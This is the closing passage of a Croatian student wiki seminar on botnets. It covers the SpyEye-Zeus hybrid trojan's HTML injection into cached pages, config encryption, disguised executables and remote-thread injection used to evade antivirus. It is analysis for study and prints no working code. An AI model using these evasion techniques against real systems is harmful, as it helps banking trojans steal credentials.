Isass.exe %System%\Isass.exe 167.936 B
svchost.exe %System%\svchost.exe 167.936 B
svchost.exe %System%\svchost.exe 167.936 B
svchost.exe %System%\svchost.exe 167.936 B
svchost.exe %System%\svchost.exe 167.936 B
svchost.exe %System%\svchost.exe 167.936 B
alg.exe %System%\alg.exe 167.936 B

Hibrid SpyEye i Zeus trojanaca

Krajem 2010. pojavile su se glasine o mogućem spajanju SpyEye i Zeus trojanaca. Nedugo, nakon što se vijest proširila hakerskim forumima i blogovima koji se bave problemima sigurnosti, stručnjaci za računalnu sigurnost su usmjerili pozornost na izjavu tvorca SpyEya u kojoj spominje skori izlazak novog super trojanca (spajanje koda Zeus i SpyEye trojanaca). Među ostalim najavljuje nove mogućnosti pomoću kojih bi trebao postati veći i bolji nego bilo koji do sad:

  • povećana modularnost i jednostavnost održavanja (korištenje odvojenih dll datoteka za svaku od malicioznih mogućnosti)
  • programirati trojanca kao Ring0 rootkit
  • „Remote control“ plugin (VNC) dodatak
  • poboljšane HTML injekcije (Zeus injekcije su kvalitetnije napisane nego one kod SpyEyea)
  • novi admin panel – hibridno sučelje koje bi trebalo kombinirati administratorske panele od oba trojanca (SpyEyea i Zeusa)


U verziji v1.3 SpyEye je preuzeo neke od mogućnosti Zeusa [RSA]:

  • integracija Zeus koda u IE HTML mehanizam za injekciju
  • modificirana metoda za enkripciju SpyEye konfiguracijske datoteke
  • izgrađen je kao legitimni program (enkapsulirana izvršna modularna arhitektura)
  • često modificirane informacije se nalaze unutar PE resources sekcije
  • udaljena dretva izvršava injektirani kod


SpyEye kod za injekciju HTML-a u stranice preglednika nije mogao injektirati HTML u web stranice koje preglednici spremaju na disk (koriste ga za „cache“ – privremenu memoriju) kako bi ih kod ponovnog učitavanja mogli brže učitati. Nemogućnost injekcije lažnog HTML sadržaja u web stranice koje se nalaze u privremenoj memoriji zahtijevala je od SpyEyea da uvijek iznova briše kompletni sadržaj privremene memorije prije nego želi injektirati lažni u HTML web stranice. S druge strane, Zeus ima puno bolje rješenje koje omogućava injekciju u web stranice koje su preglednici pohranili u privremenu memoriju na disku. Takvu je injekciju puno teže primijetiti, a pored toga se i brže izvodi. To je ujedno i razlog zašto je SpyEye iskoristio dio programskog koda Zeusa kako bi poboljšao vlastiti mehanizam HTML injekcije.

Zeus Trojan (v2.0.8.9) asembler kod za HTML injekciju (preuzeto iz Zeus asemblerskog koda) [RSA] SpyEye 7.png


Identični Zeus dio asembler koda korišten u SpyEye Hybrid verziji (v1.3.5)

SpyEye 8.png


Osim HTML injekcije poboljšana je i enkripcija konfiguracijske datoteke. Nova verzija ne skriva enkripcijski ključ konfiguracijske datoteke. Umjesto toga, autor SpyEyea vjeruje kako mogući prevaranti neće prokužiti i probiti njegov algoritam za enkripciju. S obzirom na sve ostale dijelove SpyEye alata ugrađena enkripcija i nije u dovoljnoj mjeri usavršena. Ipak, sasvim je dovoljna za zaštitu od automatiziranih sigurnosnih alata.


SpyEye se može preuzeti kao legitimni softver budući da počiva na modularnoj arhitekturi pomoću koje se SpyEye ugrađuje u drugu izvršnu datoteku. Pomoću metode enkapsulacije prvi sloj (EXE) priprema potrebne resurse (instalacijsko okruženje) za drugi – unutrašnji sloj (ugrađeni EXE) koji zapravo predstavlja samog trojanca. Nakon pokretanja prvi sloj se ne uklanja s računala.


U takvoj hibridnoj verziji, autor je preselio SpyEye konfiguracijski ključ za enkripciju, konfiguracijsku datoteku i još neke dijelove programskog koda u PE resources dio datoteke. Razlog tome je očekivanje da će se ti podaci često mijenjati. Ujedno takav način pohrane omogućava lakše održavanje alata, daljnji razvoj enkripcije i obfuskacije osjetljivih dijelova SpyEyea.


Pored svih nabrojanih novih mogućnosti hibrid SpyEyea i Zeusa ima novi mehanizam za injekciju. Umjesto da se sam injektira u ciljani proces, SpyEye će se injektirati u potpuno drugi proces. Za svoje potrebe koristit će memorijski prostor tog procesa i njegove resurse. Unutar memorijskog prostora u koji se injektirao kreira udaljenu dretvu kojoj je zadatak izvršiti učitani kod s te lokacije. Na taj se način SpyEye još bolje sakriva od antivirusnih alata.

--Igor.mirkovic 00:25, 7. siječnja 2012. (CET)

Zaključak

Na temelju svega dosad napisanoga, možemo zaključiti kako sigurnost informacijskih sustava može biti narušena raznim oblicima malwarea koji danas postaju sve naprednijima. S obzirom na veliki uspjeh Interneta, odnosno njegovo masovno korištenje, određeni ljudi su uvidjeli da mogu iz toga izvući veliku korist te tako danas nastaju napredni malwarei koji omogućuju ostvarivanje različitih kriminalnih radnji. U ovom radu fokus smo stavili na botnete koji omogućuju kontroliranje mreže kompromitiranih računala te tako ostvarivanje napadačevih namjera poput krađe identiteta i korisničkih podataka, slanje neželjene pošte, prevare klikom, uskraćivanje usluga itd.. Za sve navedeno veliku zaslugu možemo pripisati dva napredna oblika bot-ova, Zeus i SpyEye. Iako prisutni dugi niz godina ova dva bot-a u sklopu s alatima za kontrolu imaju vrlo velik udio među zaraženim računalima, i iako se njihovi izvorni kodovi svako malo mogu naći na internetu i dalje imamo skupine ljudi koje rade na njihovom razvoju. Kroz niz primjera vidjeli smo da se ova dva alata mogu jednostavno koristiti što ih čini potencijalno još većom prijetnjom zbog svoje dostupnosti široj populaciji ljudi. Iako današnje antivirusne kuće imaju veliki postotak uspješnosti detektiranja raznih botova još uvijek je taj postotak dovoljno nizak da se na internetu nalazi velik broj pozamašnih botnet-a. U konačnici valja napomenuti da je ovaj oblik malicioznog koda vrlo prisutan i vrlo efektivan u obavljanju svojih kriminalnih aktivnosti.

Literatura

Toolkit. Preuzeto 20.12.2011. sa http://www.ncfta.ca/papers/On_the_Analysis_of_the_Zeus_Botnet_Crimeware.pdf

Podjela rada

Anita Laktašić

  • Uvod
  • Malware
    • Definicija malwarea
    • Karakteristike malwarea
    • Način rada malwarea i ranjivosti koje koristi
    • Kategorizacija malwarea
  • Napredni malware
    • Definicija naprednog malwarea
    • Životni ciklus naprednog malwarea
    • Svrha naprednog malwarea
  • Botneti
    • Definicija botneta
    • Stvaranje i širenje botneta
      • Primjer kreiranja botneta i njegova širenja
    • Command and Control infrastruktura
      • Centralizirana C&C struktura
      • Peer to Peer (P2P) C&C struktura
      • Hibridna C&C struktura
      • Usporedba C&C struktura
      • Uloga DNS-a za botnete
    • Botnet komunikacijski protokoli
    • Motivacija i koristi od botneta
    • Prevencija, detekcija i prekidanje botneta

Branko Rendulić

  • Zeus
    • Predstavljanje Zeusa
    • Zeus toolkit
      • Postavljanje okoline
      • Builder
      • Control Panel
      • Zeus Config
      • Upravljanje zaraženim računalom
    • Analiza zeus bota
      • Instalacija bota i source
      • Komunikacija
    • Zaključak o zeusu

Igor Mirković

  • Predstavljanje SpyEye
    • Značajke SpyEye alata
    • Način rada
      • Dodaci SpyEyeu
      • Ažuriranje aplikacije
      • Učitavanje i izvršavanje aplikacija na botu
    • SpyEye analiza
    • Hibrid SpyEye i Zeus trojanaca
Osobni alati
Imenski prostori
Inačice
Radnje
Orijentacija
Traka s alatima